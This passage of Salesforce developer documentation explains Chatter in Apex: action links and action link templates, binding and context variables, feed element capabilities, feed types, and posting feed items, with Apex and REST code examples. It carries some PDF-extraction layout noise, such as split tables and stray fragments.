ChatterUsers.ConnectApi.Subscription subscriptionToRecord =
ConnectApi.ChatterUsers.follow(null, 'me', '001RR000002G4Y0');

SEE ALSO:
follow(communityId, userId, subjectId)
Unfollow a Record

Unfollow a Record
When you follow a record, the call to ConnectApi.ChatterUsers.follow returns a ConnectApi.Subscription
object. To unfollow a record, pass the id property of that object to the deleteSubscription(communityId,
subscriptionId) method.
ConnectApi.Chatter.deleteSubscription(null, '0E8RR0000004CnK0AU');

SEE ALSO:
deleteSubscription(communityId, subscriptionId)
Follow a Record

Chatter in Apex Features

This topic describes which classes and methods to use to work with common Chatter in Apex features.
You can also go directly to the ConnectApi Namespace reference content.
IN THIS SECTION:
Working with Action Links
An action link is a button on a feed element. Clicking an action link can take a user to a Web page, initiate a file download, or invoke
an API call to Salesforce or to an external server. An action link includes a URL and an HTTP method, and can include a request body
and header information, such as an OAuth token for authentication. Use action links to integrate Salesforce and third-party services
into the feed so that users can take action to drive productivity and accelerate innovation.
Working with Feeds and Feed Elements
In API versions 30.0 and earlier, a Chatter feed was a container of feed items. In API version 31.0, the definition of a feed expanded
to include new objects that didnt entirely fit the feed item model. The Chatter feed became a container of feed elements. The abstract
class ConnectApi.FeedElement was introduced as a parent class to the existing ConnectApi.FeedItem class. The
subset of properties that feed elements share was moved into the ConnectApi.FeedElement class. Because feeds and feed
elements are the core of Chatter, understanding them is crucial to developing applications with Chatter in Apex.

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Accessing ConnectApi Data in Communities and Portals

Most ConnectApi methods work within the context of a single community.
Methods Available to Communities Guest Users
If your community allows access without logging in, guest users have access to many Chatter in Apex methods. These methods
return information the guest user has access to.

Working with Action Links

An action link is a button on a feed element. Clicking an action link can take a user to a Web page, initiate a file download, or invoke an
API call to Salesforce or to an external server. An action link includes a URL and an HTTP method, and can include a request body and
header information, such as an OAuth token for authentication. Use action links to integrate Salesforce and third-party services into the
feed so that users can take action to drive productivity and accelerate innovation.

Workflow
This feed item contains one action link group with one visible action link, Join.

The workflow to create and post action links with a feed element:
1. (Optional) Create an action link template.
2. Call ConnectApi.ActionLinks.createActionLinkGroupDefinition(communityId, actionLinkGroup)
to define an action link group that contains at least one action link.
3. Call ConnectApi.ChatterFeeds.postFeedElement(communityId, feedElement) to post a feed element
and associate the action link with it.
Use these methods to work with action links:
ConnectApi Method

Task

ActionLinks.createActionLinkGroupDefinition(communityId, Create an action link group definition. To associate an action link

group with a feed element, first create an action link group
actionLinkGroup)

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ConnectApi Method

Task

ActionLinks.deleteActionLinkGroupDefinition(communityId, definition. Then post a feed element with an associated actions

capability.
actionLinkGroupId)
ActionLinks.getActionLinkGroupDefinition(communityId,
actionLinkGroupId)
ChatterFeeds.postFeedElement(communityId, Post a feed element with an associated actions capability. Associate
up to 10 action link groups with a feed element.
feedElement)
ActionLinks.getActionLink(communityId,
actionLinkId)

Get information about an action link, including state for the context
user.

ActionLinks.getActionLinkGroup(communityId, Get information about an action link group including state for the
context user.
actionLinkGroupId)
ActionLinks.getActionLinkDiagnosticInfo(communityId, Get diagnostic information returned when an action link executes.
Diagnostic information is given only for users who can access the
actionLinkId)

action link.
ChatterFeeds.getFeedElementsFromFeed()

Get the feed elements from a specified feed type. If a feed element
has action links associated with it, the action links data is returned
in the feed elements associated actions capability.

IN THIS SECTION:
Action Links Overview, Authentication, and Security
Learn about Apex action links security, authentication, labels, and errors.
Action Links Use Case
Use action links to integrate Salesforce and third-party services with a feed. An action link can make an HTTP request to a Salesforce
or third-party API. An action link can also download a file or open a Web page. This topic contains an example use case.
Action Link Templates
Create action link templates in Setup so that you can instantiate action link groups with common properties from Chatter REST API
or Apex. You can package templates and distribute them to other Salesforce organizations.
SEE ALSO:
Define an Action Link and Post with a Feed Element
Define an Action Link in a Template and Post with a Feed Element

Action Links Overview, Authentication, and Security

Context Variables
Use context variables to pass information about the user who executed the action link and the context in which it was invoked into the
HTTP request made by invoking an action link. You can use context variables in the actionUrl, headers, and requestBody
properties of the Action Link Definition Input request body or ConnectApi.ActionLinkDefinitionInput object. You can
also use context variables in the Action URL, HTTP Request Body, and HTTP Headers fields of action link templates. You
can edit these fields, including adding and removing context variables, after a template is published.
The context variables are:
Context Variable

Description

{!actionLinkId}

The ID of the action link the user executed.

{!actionLinkGroupId}

The ID of the action link group containing the action link the user
executed.

{!communityId}

The ID of the community in which the user executed the action

link. The value for your internal organization is the empty key
"000000000000000000".

{!communityUrl}

The URL of the community in which the user executed the action
link. The value for your internal organization is empty string "".

{!orgId}

The ID of the organization in which the user executed the action

link.

{!userId}

The ID of the user that executed the action link.

Versioning
To avoid issues due to upgrades or changing functionality in your API, we recommend using versioning when defining action links. For
example, the actionUrl property in the ConnectApi.ActionLinkDefinitionInput Class should look like
https://www.example.com/api/v1/exampleResource.
You can use templates to change the values of the actionUrl, headers, or requestBody properties, even after a template is
distributed in a package. For example, if you release a new API version that requires new inputs, an admin can change the inputs in the
action link template in Setup and even action links already associated with a feed element will use the new inputs. However, you cant
add new binding variables to a published action link template.
If your API isnt versioned, you can use the expirationDate property of the
ConnectApi.ActionLinkGroupDefinitionInput Class to avoid issues due to upgrades or changing functionality
in your API. See Set the Action Link Group Expiration Time.

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Errors
Use the Action Link Diagnostic Information method (ActionLinks.getActionLinkDiagnosticInfo(communityId,
actionLinkId)) to return status codes and errors from executing Api action links. Diagnostic info is given only for users who can
access the action link.

Localized Labels
Action links use a predefined set of localized labels specified in the labelKey property of the
ConnectApi.ActionLinkDefinitionInput Class request body and the Label field of an action link template.
For a list of labels, see Action Links Labels.
Note: If none of the label key values make sense for your action link, specify a custom label in the Label field of an action link
template and set Label Key to None. However, custom labels arent localized.
SEE ALSO:
Define an Action Link and Post with a Feed Element
Define an Action Link in a Template and Post with a Feed Element
Define an Action Link and Post with a Feed Element
Define an Action Link in a Template and Post with a Feed Element

Action Links Use Case

Use action links to integrate Salesforce and third-party services with a feed. An action link can make an HTTP request to a Salesforce or
third-party API. An action link can also download a file or open a Web page. This topic contains an example use case.

Start a Video Chat from the Feed

Suppose you work as a Salesforce developer for a company that has a Salesforce organization and an account with a fictional company
called VideoChat. Users have been saying they want to do more from Salesforce1. Youre asked to create an app that lets users create
and join video chats directly from Salesforce1.
When a user opens the VideoChat app in Salesforce1, theyre asked to name the video chat room and invite either a group or individual
users to the video chat room. When the user clicks OK, the VideoChat app launches the video chat room and posts a feed item to the
selected group or users asking them to Please join the video chat by clicking an action link labeled Join. When an invitee clicks Join,
the action link opens a web page containing the video chat room.

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As a developer thinking about how to create the action link URL, you come up with these requirements:
1. When a user clicks Join, the action link URL has to open the video chat room they were invited to.
2. The action link URL has to tell the video chat room whos joining.
To dynamically create the action link URLs, you create an action link template in Setup.
For the first requirement, you create a {!Bindings.roomId} binding variable in the Action URL template field. When the
Salesforce1 user clicks OK to create the video chat room, your Apex code generates a unique room ID. The Apex code uses that unique
room ID as the binding variable value when it instantiates the action link group, associates it with the feed item, and posts the feed item.
For the second requirement, the action link must include the user ID. Action links support a predefined set of context variables. When
an action link is invoked, Salesforce substitutes the variables with values. Context variables include information about who clicked the
action link and in what context it was invoked. You decide to include a {!userId} context variable in the Action URL so that
when a user clicks the action link in the feed, Salesforce substitutes the users ID and the video chat room knows whos entering.
This is the action link template for the Join action link:

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Every action link must be associated with an action link group. The group defines properties shared by all the action links associated
with it. Even if youre using a single action link (as in this example) it must be associated with a group. The first field of the action link
template is Action Link Group Template, which in this case is Video Chat, which is the action link group template the
action link template is associated with:

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Action Link Templates

Create action link templates in Setup so that you can instantiate action link groups with common
properties from Chatter REST API or Apex. You can package templates and distribute them to other
Salesforce organizations.
An action link is a button on a feed element. Clicking an action link can take a user to a Web page,
initiate a file download, or invoke an API call to Salesforce or to an external server. An action link
includes a URL and an HTTP method, and can include a request body and header information, such
as an OAuth token for authentication. Use action links to integrate Salesforce and third-party services
into the feed so that users can take action to drive productivity and accelerate innovation.

EDITIONS
Available in: Salesforce
Classic and Lightning
Experience
Available in: All editions
except Personal Edition.

In this example, Approve and Reject are action links that make API calls to the REST API of a fictional
travel website to approve or reject an itinerary. When Pam created the itinerary on the travel website, the travel website made a Chatter
REST API request to post the feed item with the action links to Pams manager Kevin so that he can approve or reject the itinerary.

Important: Action links are a developer feature. Although you create action link templates in Setup, you must use Apex or Chatter
REST API to generate action links from templates and add them to feed elements.
IN THIS SECTION:
Designing Action Link Templates
Before you create a template, consider which values you want to set in the template and which values you want to set with binding
variables when you instantiate action link groups from the template.
Create Action Link Templates
Create action link templates in Setup so that you can instantiate action link groups with common properties from Chatter REST API
or Apex. You can package templates and distribute them to other Salesforce organizations.
Edit Action Link Templates
You can edit all fields on an unpublished action link group template and on its associated action link templates.

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Delete Action Link Group Templates

Designing Action Link Templates

Before you create a template, consider which values you want to set in the template and which values you want to set with binding
variables when you instantiate action link groups from the template.
Action Link Templates Overview
Template Design Considerations
Set the Action Link Group Expiration Time
Define Binding Variables
Set Who Can See the Action Link
Use Context Variables

Action Link Templates Overview

Heres an action link group template in Setup:

Each action link group should contain at least one action link. This example action link template has three binding variables: the API
version number in the Action URL, the Item Number in the HTTP Request Body, and the OAuth token value in the HTTP
Header field.

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The Chatter REST API request to instantiate the action link group and set the values of the binding variables:
POST /connect/action-link-group-definitions
{
"templateId":"07gD00000004C9r",
"templateBindings":[
{
"key":"ApiVersion",
"value":"v1.0"
},
{
"key":"ItemNumber",
"value":"8675309"
},
{
"key":"BearerToken",
"value":"00DRR0000000N0g!ARoAQMZyQtsP1Gs27EZ8hl7vdpYXH5O5rv1VNprqTeD12xYnvygD3JgPnNR"
}
]
}

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This is the Apex code that instantiates the action link group from the template and sets the values of the binding variables:
// Get the action link group template Id.
ActionLinkGroupTemplate template = [SELECT Id FROM ActionLinkGroupTemplate WHERE
DeveloperName='Doc_Example'];
// Add binding name-value pairs to a map.
Map<String, String> bindingMap = new Map<String, String>();
bindingMap.put('ApiVersion', '1.0');
bindingMap.put('ItemNumber', '8675309');
bindingMap.put('BearerToken',
'00DRR0000000N0g!ARoAQMZyQtsP1Gs27EZ8hl7vdpYXH5O5rv1VNprqTeD12xYnvygD3JgPnNR');
// Create ActionLinkTemplateBindingInput objects from the map elements.
List<ConnectApi.ActionLinkTemplateBindingInput> bindingInputs = new
List<ConnectApi.ActionLinkTemplateBindingInput>();
for (String key : bindingMap.keySet()) {
ConnectApi.ActionLinkTemplateBindingInput bindingInput = new
ConnectApi.ActionLinkTemplateBindingInput();
bindingInput.key = key;
bindingInput.value = bindingMap.get(key);
bindingInputs.add(bindingInput);
}
// Set the template Id and template binding values in the action link group definition.
ConnectApi.ActionLinkGroupDefinitionInput actionLinkGroupDefinitionInput = new
ConnectApi.ActionLinkGroupDefinitionInput();
actionLinkGroupDefinitionInput.templateId = template.id;
actionLinkGroupDefinitionInput.templateBindings = bindingInputs;
// Instantiate the action link group definition.
ConnectApi.ActionLinkGroupDefinition actionLinkGroupDefinition =
ConnectApi.ActionLinks.createActionLinkGroupDefinition(Network.getNetworkId(),
actionLinkGroupDefinitionInput);

Template Design Considerations

Considerations for designing a template:
Determine the expiration time of the action link group.
See Set the Action Link Group Expiration Time.
Define binding variables in the template and set their values when you instantiate the group. Dont store sensitive information in
templates. Use binding variables to add sensitive information at run time.
See Define Binding Variables.
Determine who can see the action link when its associated with a feed element.
Set Who Can See the Action Link.
Use context variables in the template to get information about the execution context of the action link.
When the action link executes, Salesforce fills in the values and sends them in the HTTP request. See Use Context Variables.

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Set the Action Link Group Expiration Time

When creating an action link group from a template, the expiration date can be calculated based on a period provided in the template,
or the action link group can be set not to expire at all.
To set the hours until expiration in a template, enter a value in the Hours until Expiration field of the action link group
template. This value is the number of hours from when the action link group is instantiated until it's removed from associated feed
elements and can no longer be executed. The maximum value is 8760, which is 365 days.
To set the action link group expiration date when you instantiate it, set the expirationDate property of either the Action Link
Group Definition request body (Chatter REST API) or the ConnectApi.ActionLinkGroupDefinition input class (Apex).
To create an action link group that doesnt expire, dont enter a value in the Hours until Expiration field of the template
and dont enter a value for the expirationDate property when you instantiate the action link group.
Heres how expirationDate and Hours until Expiration work together when creating an action link group from a
template:
If you specify expirationDate, its value is used in the new action link group.
If you dont specify expirationDate and you specify Hours until Expiration in the template, the value of Hours
until Expiration is used in the new action link group.
If you dont specify expirationDate or Hours until Expiration, the action link groups instantiated from the template
dont expire.

Define Binding Variables

Define binding variables in templates and set their values when you instantiate an action link group.
Important: Dont store sensitive information in templates. Use binding variables to add sensitive information at run time. When
the value of a binding is set, it is stored in encrypted form in Salesforce.
You can define binding variables in the Action URL, HTTP Request Body, and HTTP Headers fields of an action link
template. After a template is published, you can edit these fields, you can move binding variables between these fields, and you can
delete binding variables. However, you cant add new binding variables.
Define a binding variables key in the template. When you instantiate the action link group, specify the key and its value.
Binding variable keys have the form {!Bindings.key}.
The key supports Unicode characters in the predefined \w character class:
[\p{Alpha}\p{gc=Mn}\p{gc=Me}\p{gc=Mc}\p{Digit}\p{gc=Pc}].

This Action URL field has two binding variables:

https://www.example.com/{!Bindings.ApiVersion}/items/{!Bindings.ItemId}

}
]
}

If the template uses Only creators manager can see, a user that doesnt have a manager receives an error when instantiating an action
link group from the template. In addition, the manager is the manager at the time of instantiation. If the users manager changes after
instantiation, that change isnt reflected.

Use Context Variables

Use context variables to pass information about the user who executed the action link and the context in which it was invoked into the
HTTP request made by invoking an action link. You can use context variables in the actionUrl, headers, and requestBody
properties of the Action Link Definition Input request body or ConnectApi.ActionLinkDefinitionInput object. You can
also use context variables in the Action URL, HTTP Request Body, and HTTP Headers fields of action link templates. You
can edit these fields, including adding and removing context variables, after a template is published.
These are the available context variables:
Context Variable

Description

{!actionLinkId}

The ID of the action link the user executed.

{!actionLinkGroupId}

The ID of the action link group containing the action link the user
executed.

{!communityId}

The ID of the community in which the user executed the action

link. The value for your internal organization is the empty key
"000000000000000000".

{!communityUrl}

The URL of the community in which the user executed the action
link. The value for your internal organization is empty string "".

{!orgId}

The ID of the organization in which the user executed the action

link.

{!userId}

The ID of the user that executed the action link.

For example, suppose you work for a company called Survey Example and you create an app for the Salesforce AppExchange called
Survey Example for Salesforce. Company A has Survey Example for Salesforce installed. Lets imagine that someone from company
A goes to surveyexample.com and makes a survey. Your Survey Example code uses Chatter REST API to create a feed item in
Company As Salesforce organization with the body text Take a survey, and an action link with the label OK.
This UI action link takes the user from Salesforce to a web page on surveyexample.com to take a survey.
If you include a {!userId} context variable in either the HTTP Request Body or the Action URL for that action link, when
a user clicks the action link in the feed, Salesforce sends the ID of the user who clicked in the HTTP request it makes to your server.
If you include an {!actionLinkId} context variable in the Survey Example server-side code that creates the action link, Salesforce
sends an HTTP request with the ID of the action link and you can save that to your database.
This example includes the {!userId} context variable in the Action URL in the action link template:

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Tip: Binding variables and context variables can be used in the same field. For example, this action URL contains a binding variable
and a context variable:
https://www.example.com/{!Bindings.apiVersion}/doSurvey?salesforceUserId={!userId}

SEE ALSO:
Working with Action Links
Define an Action Link in a Template and Post with a Feed Element

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Create Action Link Templates

Create action link templates in Setup so that you can instantiate action link groups with common
properties from Chatter REST API or Apex. You can package templates and distribute them to other
Salesforce organizations.
Note: In addition to creating action link templates in Setup, you can also use Metadata API,
SOAP API, and REST API to create action link templates.
The Action URL, HTTP Request Body, and HTTP Headers fields support binding
variables and context variables. Define binding variables in a template and set their values when
you instantiate the action link group. Use context variables in a template and when an action link
executes, Salesforce fills in the value and returns it in the request. For information about how to
use these variables in a template, see Designing Action Link Templates.
1. From Setup, enter Action Link Templates in the Quick Find box, then select
Action Link Templates.
2. Click New.
3. Enter the Name of the template. This name is displayed in the list of action link group templates.
This is the only action link group template value you can edit after the action link group template
has been published.

EDITIONS
Available in: Salesforce
Classic and Lightning
Experience
Available in: All editions
except Personal edition.

"templateBindings" : [
{
"key":"ExpenseApprover",
"value": "005B0000000Ge16"
}
]
}

22. To create another action link template for this action link group template, click Save & New.
23. If youre done adding action link templates to this action link group template, click Save.
24. To publish the action link group template, click Back to List to return to the Action Link Group Template list view.
Important: You must publish a template before you can instantiate an action link group from it in Apex or Chatter REST API.
25. Click Edit for the action link group template you want to publish.
26. Select Published and click Save.
SEE ALSO:
Working with Action Links
Define an Action Link in a Template and Post with a Feed Element

Edit Action Link Templates

You can edit all fields on an unpublished action link group template and on its associated action
link templates.

EDITIONS

1. From Setup, enter Action Link Templates in the Quick Find box, then select
Action Link Templates.

Available in: Salesforce

Classic and Lightning
Experience

2. To edit an action link group template, click Edit next to its name.
If the group template isnt published, edit any field. If it is published, edit the Name field only.

Available in: All editions

except Personal edition.

3. To edit an action link template:

a. Click the name of its master action link group template.

USER PERMISSIONS

b. Click the Action Link Template ID to open the detail page for the action link template.
c. Click Edit.
If the associated action link group template isnt published, edit any field. If its published,
edit any of these fields:
Action URL
HTTP Request Body
HTTP Headers
These fields support context variables and binding variables.
You can add and delete context variables in any of these fields.
You cannot add a new binding variable. You can:
Move a binding variable to another editable field in an action link template.
Use a binding variable more than once in an action link template.

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To edit action link group

templates:
Customize Application
To edit action link templates:
Customize Application

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Use a binding variable more than once in any action link templates associated with the same action link group template.
Remove binding variables.

SEE ALSO:
Working with Action Links
Define an Action Link in a Template and Post with a Feed Element

Delete Action Link Group Templates

When you delete an action link group template, you delete its associated action link templates and
all action link groups that have been instantiated from the templates. Deleted action link groups
disappear from any feed elements they've been associated with.
1. From Setup, enter Action Link Templates in the Quick Find box, then select
Action Link Templates.
2. To delete an action link group template, click Del next to its name.
Important: When you delete an action link group template, you delete its associated
action link templates and all action link groups that have been instantiated from the
template. The action link group is deleted from any feed elements it has been associated
with, which means that action links disappear from those posts in the feed.
3. To delete an action link template:
a. Click the name of its master action link group template.
b. Click the Action Link Template ID to open the detail page for the action link template.
c. Click Delete.
Important: You cant delete an action link template thats associated with a published
action link group template.

SEE ALSO:
Working with Action Links
Define an Action Link in a Template and Post with a Feed Element

336

EDITIONS
Available in: Salesforce
Classic and Lightning
Experience
Available in: All editions
except Personal edition.

USER PERMISSIONS
To delete action link group
templates:
Customize Application
To delete action link
templates:
Customize Application

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Package Action Link Templates

Package action link templates to distribute them to other Salesforce organizations.
When you add an action link group template, any associated action link templates are also added
to the package. You can add an action link group template to a managed or unmanaged package.
As a packageable component, action link group templates can also take advantage of all the features
of managed packages, such as listing on the AppExchange, push upgrades, post-install Apex scripts,
license management, and enhanced subscriber support. To create a managed package, you must
use a Developer Edition organization.

EDITIONS
Available in: Salesforce
Classic and Lightning
Experience
Available in: All editions
except Personal edition.

See Creating and Editing a Package at https://help.salesforce.com.

USER PERMISSIONS
SEE ALSO:
Working with Action Links
Define an Action Link in a Template and Post with a Feed Element

To package action link

templates:
Create AppExchange
Package

Working with Feeds and Feed Elements

In API versions 30.0 and earlier, a Chatter feed was a container of feed items. In API version 31.0, the definition of a feed expanded to
include new objects that didnt entirely fit the feed item model. The Chatter feed became a container of feed elements. The abstract class
ConnectApi.FeedElement was introduced as a parent class to the existing ConnectApi.FeedItem class. The subset of
properties that feed elements share was moved into the ConnectApi.FeedElement class. Because feeds and feed elements are
the core of Chatter, understanding them is crucial to developing applications with Chatter in Apex.
Note: Salesforce Help refers to feed items as posts and bundles as bundled posts.

Capabilities
As part of the effort to diversify the feed, pieces of functionality found in feed elements have been broken out into capabilities. Capabilities
provide a consistent way to interact with objects in the feed. Dont inspect the feed element type to determine which functionality is
available for a feed element. Inspect the capability object, which tells you explicitly whats available. Check for the presence of a capability
to determine what a client can do to a feed element.
The ConnectApi.FeedElement.capabilities property holds a ConnectApi.FeedElementCapabilities
object, which holds a set of capability objects.
A capability object includes both an indication that a feature is possible and data associated with that feature. If a capability property
exists on a feed element, that capability is available, even if there isnt any data associated with the capability yet. For example, if the
chatterLikes capability property exists on a feed element (with or without any likes included in the list of likes found in the
chatterLikes.page.items property), the context user can like that feed element. If the capability property doesnt exist on a
feed element, it isnt possible to like that feed element.
When posting a feed element, specify its characteristics in the ConnectApi.FeedElementInput.capabilities property.

How the Salesforce UI Displays Feed Items

Note: ConnectApi.FeedItem is a subclass of ConnectApi.FeedElement.
As we learned in Capabilities, clients use the ConnectApi.FeedElement.capabilities property to determine what it can
do with a feed element and how it renders a feed element. For all feed element subclasses other than ConnectApi.FeedItem,
the client doesnt need to know the subclass type, it can simply look at the capabilities. Feed items do have capabilities, but they also

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have a few properties, such as actor, that arent exposed as capabilities. For this reason, clients must handle feed items a bit differently
than other feed elements.
To give customers a consistent view of feed items and to give developers an easy way to create UI, the Salesforce UI uses one layout to
display every feed item. The layout always contains the same pieces and the pieces are always in the same position; only the content of
the layout pieces changes.

The feed item (ConnectApi.FeedItem) layout elements are:

1. Actor (ConnectApi.FeedItem.actor)A photo or icon of the creator of the feed item. (You can override the creator at
the feed item type level. For example, the dashboard snapshot feed item type shows the dashboard as the creator.)
2. Header (ConnectApi.FeedElement.header)Provides context. The same feed item can have a different header depending
on who posted it and where. For example, Gordon posted this feed item to his profile. If he then shared it to a group, the header of
the feed item in the group feed would be Gordon Johnson (originally posted by Gordon Johnson). The originally posted text
would link to the feed item on Gordons profile.
3. Body (ConnectApi.FeedElement.body)All feed items have a body, but the body can be null, which is the case when
the user doesnt provide text for the feed item. Because the body can be null, you cant use it as the default case for rendering
text. Instead, use the ConnectApi.FeedElement.header.text property, which always contains a value.
4. Auxiliary Body (ConnectApi.FeedElement.capabilities)The visualization of the capabilities. See Capabilities.
Important: The attachment property is not supported in API versions 32.0 and later. Instead, use the capabilities
property, which holds a ConnectApi.FeedElementCapabilities object, to discover what to render for a feed
element.
5. Created By Timestamp (ConnectApi.FeedElement.relativeCreatedDate)The date and time when the feed item
was posted. If the feed item is less than two days old, the date and time are formatted as a relative, localized string, for example,
17m ago or Yesterday. Otherwise, the date and time are formatted as an absolute, localized string.
Heres another example of a feed item in the Salesforce UI. This feed items auxiliary body contains a poll capability:

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How the Salesforce Displays Feed Elements Other Than Feed Items
As we learned in the Capabilities section, a client should use the ConnectApi.FeedElement.capabilities property to
determine what it can do with a feed element and how to render a feed element. This section uses bundles as an example of how to
render a feed element, but these properties are available for every feed element. Capabilities allow you to handle all content in the feed
consistently.
Note: Bundled posts contain feed-tracked changes. In Salesforce1 downloadable apps, bundled posts are in record feeds only.
To give customers a clean, organized feed, Salesforce aggregates feed-tracked changes into a bundle. To see individual feed elements,
click the bundle.

A bundle is a ConnectApi.GenericFeedElement object (which is a concrete subclass of ConnectApi.FeedElement)

with a ConenctApi.BundleCapability. The bundle layout elements are:
1. Header (ConnectApi.FeedElement.header)For feed-tracked change bundles, this text is This record was updated.
The time below the header is the ConnectApi.FeedElement.relativeCreatedDate property.
2. Auxiliary Body (ConnectApi.FeedElement.capabilities.bundle.changes)The bundle displays the
fieldName and the oldValue and newValue properties for the first two feed-tracked changes in the bundle. If there are
more than two feed-tracked changes, the bundle displays a Show All Updates link.

Feed Element Visibility

The feed elements a user sees depend on how the administrator has configured feed tracking, sharing rules, and field-level security. For
example, if a user doesnt have access to a record, they dont see updates for that record. If a user can see the parent of the feed element,
the user can see the feed element. Typically, a user sees feed updates for:
Feed elements that @mention the user (if the user can access the feed elements parent)
Feed elements that @mention groups the user is a member of

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Record field changes on records whose parent is a record the user can see, including User, Group, and File records
Feed elements posted to the user
Feed elements posted to groups the user owns or is a member of
Feed elements for standard and custom records, for example, tasks, events, leads, accounts, files

Feed Types
There are many types of feeds. Each feed type is an algorithm that defines a collection of feed elements.
Important: The algorithms, and therefore the collection of feed elements, can change between releases.
All feed types except Filter and Favorites are exposed in the ConnectApi.FeedType enum and passed to one of the
ConnectApi.ChatterFeeds.getFeedElementsFromFeed methods. This example gets the feed elements from the
context users news feed and topics feed:
ConnectApi.FeedElementPage newsFeedElementPage =
ConnectApi.ChatterFeeds.getFeedElementsFromFeed(null,
ConnectApi.FeedType.News, 'me');
ConnectApi.FeedElementPage topicsFeedElementPage =
ConnectApi.ChatterFeeds.getFeedElementsFromFeed(null,
ConnectApi.FeedType.Topics, '0TOD00000000cld');

To get a filter feed, call one of the ConnectApi.ChatterFeeds.getFeedElementsFromFilterFeed methods. To get

a favorites feed, call one of the ConnectApi.ChatterFavorites.getFeedElements methods.
The feed types and their descriptions are:
BookmarksContains all feed items saved as bookmarks by the context user.
CompanyContains all feed items except feed items of type TrackedChange. To see the feed item, the user must have sharing
access to its parent.
FilesContains all feed items that contain files posted by people or groups that the context user follows.
FilterContains the news feed filtered to contain feed items whose parent is a specified object type.
GroupsContains all feed items from all groups the context user either owns or is a member of.
HomeContains all feed items associated with any managed topic in a community.
ModerationContains all feed items that have been flagged for moderation. The Communities Moderation feed is available
only to users with Moderate Community Feeds permissions.
MuteContains all feed items that the context user muted.
NewsContains all updates for people the context user follows, groups the user is a member of, and files and records the user is
following. Also contains all updates for records whose parent is the context user and every feed item and comment that mentions
the context user or that mentions a group the context user is a member of.
PeopleContains all feed items posted by all people the context user follows.
RecordContains all feed items whose parent is a specified record, which could be a group, user, object, file, or any other standard
or custom object. When the record is a group, the feed also contains feed items that mention the group. When the record is a user,
the feed contains only feed items on that user. You can get another users record feed.
ToContains all feed items with mentions of the context user, feed items the context user commented on, and feed items created
by the context user that are commented on.
TopicsContains all feed items that include the specified topic.

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UserProfileContains feed items created when a user changes records that can be tracked in a feed, feed items whose parent
is the user, and feed items that @mention the user. This feed is different than the news feed, which returns more feed items, including
group updates. You can get another users user profile feed.
FavoritesContains favorites saved by the context user. Favorites are feed searches, list views, and topics.

Post a Feed Item Using postFeedElement

Tip: The postFeedElement methods are the simplest, most efficient way to post feed items because, unlike the
postFeedItem methods, they dont require you to pass a feed type. As of API version 31.0, feed items are the only feed element
type you can post. However, there may be other types in the future.
Use these methods to post feed items:
postFeedElement(String communityId, String subjectId, ConnectApi.FeedElementType
feedElementType, String text)

Posts a feed element with plain text from the context user.
postFeedElement(String communityId, ConnectApi.FeedElementInput feedElement,
ConnectApi.BinaryInput feedElementFileUpload) (version 35.0 and earlier)

Posts a feed element from the context user. Use this method to post rich text, including mentions and hashtag topics, to attach a
file to a feed element, and to associate action link groups with a feed element. You can also use this method to share a feed element
and add a comment.
postFeedElement(String communityId, ConnectApi.FeedElementInput feedElement) (version 36.0

and later)
Posts a feed element from the context user. Use this method to post rich text, including mentions and hashtag topics, to attach
already uploaded files to a feed element, and to associate action link groups with a feed element. You can also use this method to
share a feed element and add a comment.
When you post a feed item, you create a child of a standard or custom object. Specify the parent object in the subjectId parameter
or in the subjectId property of the ConnectApi.FeedElementInput object you pass in the feedElement parameter.
The value of the subjectId parameter determines the feeds in which the feed item is displayed. The parent property in the
returned ConnectApi.FeedItem object contains information about the parent object.
Use these methods to complete these tasks:
Post to yourself
This code posts a feed item to the context user. The subjectId specifies me, which is an alias for the context users ID. It could
also specify the context users ID.
ConnectApi.FeedElement feedElement = ConnectApi.ChatterFeeds.postFeedElement(null, 'me',
ConnectApi.FeedElementType.FeedItem, 'Working from home today.');

The parent property of the newly posted feed item contains the ConnectApi.UserSummary of the context user.
Post to another user
This code posts a feed item to a user other than the context user. The subjectId specifies the user ID of the target user.
ConnectApi.FeedElement feedElement = ConnectApi.ChatterFeeds.postFeedElement(null,
'005D00000016Qxp', ConnectApi.FeedElementType.FeedItem, 'Kevin, do you have information
about the new categories?');

The parent property of the newly posted feed item contains the ConnectApi.UserSummary of the target user.

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Post to a group
This code posts a feed item with a content attachment to a group. The subjectId specifies the group ID.
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
ConnectApi.ContentAttachmentInput contentAttachmentInput = new
ConnectApi.ContentAttachmentInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
contentAttachmentInput.contentDocumentId = '069D00000001pyS';
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
textSegmentInput.text = 'Would you please review this doc?';
messageBodyInput.messageSegments.add(textSegmentInput);
feedItemInput.attachment = contentAttachmentInput;
feedItemInput.body = messageBodyInput;
feedItemInput.feedElementType = ConnectApi.FeedElementType.FeedItem;
// Use a group ID for the subject ID.
feedItemInput.subjectId = '0F9D00000000oOT';
ConnectApi.FeedElement feedElement = ConnectApi.ChatterFeeds.postFeedElement(null,
feedItemInput, null);

The parent property of the newly posted feed item contains the ConnectApi.ChatterGroupSummary of the specified
group.
Post to a record (such as a file or an account)
This code posts a feed item to a record and mentions a group. The subjectId specifies the record ID.
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
ConnectApi.MentionSegmentInput mentionSegmentInput = new ConnectApi.MentionSegmentInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
textSegmentInput.text = 'Does anyone know anyone with contacts here?';
messageBodyInput.messageSegments.add(textSegmentInput);
// Mention a group.
mentionSegmentInput.id = '0F9D00000000oOT';
messageBodyInput.messageSegments.add(mentionSegmentInput);
feedItemInput.body = messageBodyInput;
feedItemInput.feedElementType = ConnectApi.FeedElementType.FeedItem;
// Use a record ID for the subject ID.
feedItemInput.subjectId = '001D000000JVwL9';
ConnectApi.FeedElement feedElement = ConnectApi.ChatterFeeds.postFeedElement(null,
feedItemInput, null);

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The parent property of the new feed item depends on the record type specified in subjectId. If the record type is File, the
parent is ConnectApi.FileSummary. If the record type is Group, the parent is ConnectApi.ChatterGroupSummary.
If the record type is User, the parent is ConnectApi.UserSummary. For all other record types, as in this example which uses
an Account, the parent is ConnectApi.RecordSummary.

Get Feed Elements from a Feed

